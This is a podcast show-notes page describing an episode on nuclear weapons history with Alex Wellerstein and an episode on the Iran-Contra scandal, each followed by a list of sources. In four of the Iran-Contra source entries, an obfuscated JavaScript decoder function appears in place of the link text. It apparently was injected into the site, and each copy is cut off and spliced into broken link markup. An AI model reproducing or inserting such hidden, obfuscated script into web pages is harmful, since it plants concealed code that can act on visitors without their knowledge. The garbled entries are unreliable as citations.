This is Fine

Welcome to Episode 1.16: No Nukes Is Good Nukes, or Is It? Thanks for listening, Finers; please subscribe and leave us a review on iTunes or your favorite podcast app, and make sure to keep a copy of this episode in your local fallout shelter. In this two-parter, we get down into the details of nuclear weapons history with Alex Wellerstein of the Stevens Institute of Technology. We discuss various efforts intended to achieve nuclear disarmament, who has the authority for nuclear weapons use, what are the biggest threats facing us in the future, and what you can do to reduce your risk of perishing in a nuclear attack.

This is part 1 of this episode, with part 2 coming approximately a week from today. In two weeks, we'll return with a deep dive into post-Soviet Russian history, with a special focus on US-Russia relations.

Resources for the podcast:

• Alex Wellerstein's page at Stevens
• Nukemap
• Mike Davis, Buda's Wagon: A Brief History of the Car Bomb

Welcome to This Is Fine episode 1.15: Contraventional Wisdom. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and remember that George Bush the Elder pardoned the Iran-Contra criminals to protect himself from criminal liability.

In this week’s podcast, we talk about Iran-Contra, a little over thirty years after Reagan’s apology to the country for the scandal in March 1987.  We focus mainly on Malcolm Byrne’s conclusive 2014 book, “Iran-Contra: Reagan’s Scandal and the Unchecked Abuse of Presidential Power,” which takes advantage of extensive primary source documents unavailable to Independent Counsel Lawrence Walsh during his investigation of the scandal in the late 1980s.  We discuss the scandal and its parallels to the Trump administration today.

We’ll return in two weeks with This is Fine 1.16, discussing nuclear non-proliferation.

Resources for the podcast (in order of discussion):

• Malcolm Byrne: function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andal-Unchecked-Presidential/dp/0700619917" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.amazon.com/Iran-Contra-Reagans-Scandal-Unchecked-Presidential/dp/0700619917&source=gmail&ust=1499475732498000&usg=AFQjCNFxadLaLcGqtwh_eMFSZUYjYNkcSQ">Iran-Contra: Reagan's Scandal and the Unchecked Abuse of Presidential Power

• Malcolm Byrne, staff biography, National Security Archive

• Arms Export Control Act, State Department

• function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-amendment" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.gilderlehrman.org/history-by-era/age-reagan/timeline-terms/boland-amendment&source=gmail&ust=1499475732498000&usg=AFQjCNGO1hVfyjfSFTTcwjXfXh1v13eHQQ">Boland Amendment, Gilder Lehrman Institute of American History

• Executive Order 12333, National Archives

• Alfonso Chardy, “Despite ban, U.S. helping contras,” Miami Herald [apologies, Tony Avirgan and Martha Honey were freelancers]; the Herald staff won the 1987 Pulitzer for National Journalism

• Ronald Reagan, “Address on Iran-Contra,” March 4, 1987

• Tower Commission Excerpts, The American Presidency Project

• “Fawn Hall Testimony: Iran-Contra Scandal Investigation Day 19 (1987)”

• Joel Cohen, function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-the-immunity-game" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://thehill.com/blogs/pundits-blog/the-administration/327618-michael-flynn-and-the-immunity-game&source=gmail&ust=1499475732498000&usg=AFQjCNFL4wSLYkR8WfK-cYzMeqxdZNcKUQ">Flynn and the Immunity Game, The Hill

• function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anding_the_Iran_Contra_Affair/thelegalaftermath.php" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.brown.edu/Research/Understanding_the_Iran_Contra_Affair/thelegalaftermath.php&source=gmail&ust=1499475732499000&usg=AFQjCNFrNP_SSmjQG__27RJzP8STTHLO7A">Understanding the Iran-Contra Affairs: The Legal Aftermath, Brown University

• David Johnston, “Bush Pardons 6 in Iran Affair, Aborting a Weinberger Trial; Prosecutor Assails 'Cover-Up'”, New York Times

• Larry Sabato, The 1994 Election in Virginia: The Senate Race From Hell, Cooper Center

• [example of how conservatives view the lessons of Iran-Contra:]  Gerald Seib, “What Trump Can Learn From Reagan’s Iran-Contra Experience,” Wall Street Journal